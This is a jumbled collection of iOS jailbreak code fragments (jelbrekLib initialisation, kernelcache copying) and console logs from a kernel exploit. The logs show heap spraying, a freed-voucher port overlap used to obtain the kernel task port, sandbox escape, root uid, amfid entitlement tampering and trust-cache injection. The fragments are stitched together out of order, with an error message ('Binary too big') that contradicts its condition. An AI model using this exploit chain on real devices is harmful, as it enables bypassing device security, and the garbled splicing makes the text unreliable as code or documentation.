if (rv || !S_ISREG(st.st_mode) || st.st_size < 0x4000) {
            printf("[-] Binary too big\n");
            return 3;
        }

tfp0: 0x2507
Kernel slide: 0x1f104000
[*] Initializing jelbrekLib
[i] offsets selected for iOS 13.0 or above
[*] copying to /var/root/Documents/02.04.20:17.20.38_kernelcache
[+] Initialized KernelSymbolFinder
[-] Failed to initialize patchfinder
Initialization failed! ret: 3

int main(int argc, char **argv) {
    printf("Start\n");
    
    get_tfp0();
    get_kaslr_slide();

    int ret = init_with_kbase(tfp0, 0xfffffff007004000 + kaslr_slide, NULL);

    if (ret != 0) {
        printf("Initialization failed! ret: %d\n", ret);
        return ret;
    }

    term_jelbrek();
    printf("Dealloc'd jelbrekLib\n");
    return 0;
}

[D] platform: iPhone8,1 16C101
[+] created 1024 pipes
[+] created 8000 ports
[+] sprayed 16777216 bytes to 1024 pipes in kalloc.16384
[+] created 3564 vouchers
[+] sprayed 315752448 bytes to 8 ports in kalloc.1024
[+] stashed voucher pointer in thread
...........................................................................................................................................................................
[+] sprayed 357924864 bytes of OOL ports to 4 ports in kalloc.32768
[+] recovered voucher port 0xf07 for freed voucher
[+] adding references to the freed voucher to change the OOL port pointer
[+] receiving the OOL ports will leak port 0x1ebf03
[+] received voucher port 0xf07 in OOL ports
[+] voucher overlapped at offset 0x5ae0
[+] received fake port 0xd07
[+] port is at pipe index 256
[+] got ip_requests at 0xffffffe01c4c9300
[+] fake port is at offset 5712
[+] base port is at 0xffffffe005d15650
[+] kernel_task is at 0xffffffe00026e1c0
[+] done! port 0xd07 is tfp0
[D] found kernel slide 0x0000000004e00000
	[*] Starting fun
[*] Initializing jelbrekLib
[i] offsets selected for iOS 12.0 or above
[+] Initialized patchfinder
[*] Unsandboxing pid 220
[*] copying to /var/mobile/Containers/Data/Application/A6F314E3-3541-4FB1-B46D-13601E5A67DB/Documents/31.01.19:13.16.21_kernelcache
[*] Sandboxing pid 220 with slot at 0xffffffe0058f3aa0
[i] Mach-o header at 0x1C0
[lzss] Opening /var/mobile/Containers/Data/Application/A6F314E3-3541-4FB1-B46D-13601E5A67DB/Documents/31.01.19:13.16.21_kernelcache for reading
[lzss] Opening /var/mobile/Containers/Data/Application/A6F314E3-3541-4FB1-B46D-13601E5A67DB/Documents/31.01.19:13.16.21_kernelcache.dec for writing
[+] Decompressed kernelcache!
[+] Initialized KernelSymbolFinder
[+] kexecute: got user client: 0x1ebf07
	[i] Kernel base: 0xfffffff00be04000
	[i] uid: 0

[*] Unsandboxing pid 220
	[+] Escaped sandbox!
	Wrote file 0x121e9eaf8
[-] Old host type: 0x80000000
[-] New host type: 0x80000004
[remap_kernel_task] kernel task at 0xffffffe00026e1c0
[*] vm_kernel_page_size: 4000
[+] allocated address: ffffffe000014000
[*] address to wire: ffffffe000014000
[*] vm_kernel_page_size: 4000
[+] allocated address: ffffffe00001c000
[*] address to wire: ffffffe00001c000
[remap_kernel_task] remapped successfully to 0xffffffe005a4e1c0
[remap_kernel_task] port kaddr: 0xffffffe005d158f0
[*] vm_kernel_page_size: 4000
[+] allocated address: ffffffe000024000
[*] address to wire: ffffffe000024000
	[*] Installing bootstrap...
......................................................
	[+] Installed bootstrap!
[*] amfid, it's your turn
[i] amfid's PID: 221
[*] Setting Entitlements...
[i] before: get-task-allow is 0x0
[i] after: get-task-allow is 0xffffffe00020e140
[*] Getting task port
[*] Got amfid's task port? :) 0x1e7907
[+] amfid_task_port = 0x1e7907
[+] AMFID_ExceptionPort = 0x1ec207
[-] Error setting amfid exception port: (os/kern) invalid argument
[*] About to search for the binary load address
[+] About to call mach_vm_region
[-] Failed to get the region: (os/kern) invalid argument
[i] Amfid load address: 0xffffffffffffffff
[amfid][-] Error reading MISVSACI: (os/kern) invalid argument
[*] Will trust /var/containers/Bundle/tweaksupport/usr/bin/inject_dylib
[*] trust_chain at 0xfffffff00aa78000

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error;
    
    // random enough
    // let's say this is ran from an unsandboxed process
    // home dir is /var/mobile/Documents
    // there's a chance a file named kernelcache is there
    // who knows what people do XD, at least I have done it
    NSDateFormatter *formatter = [[NSDateFormatter alloc] init];
    [formatter setDateFormat:@"dd.MM.YY:HH.mm.ss"];
    
    NSString *docs = [[[fileManager URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject] path];
    mkdir((char *)[docs UTF8String], 0777);
    newPath = [docs stringByAppendingPathComponent:[NSString stringWithFormat:@"%@_kernelcache", [formatter stringFromDate:[NSDate date]]]];
    
    printf("[*] copying to %s\n", [newPath UTF8String]);
    
    // create a copy to be safe
    [fileManager copyItemAtPath:@"/System/Library/Caches/com.apple.kernelcaches/kernelcache" toPath:newPath error:&error];
    if (error) {
        printf("[-] Failed to copy kernelcache with error: %s\n", [[error localizedDescription] UTF8String]);
        return 4;
    }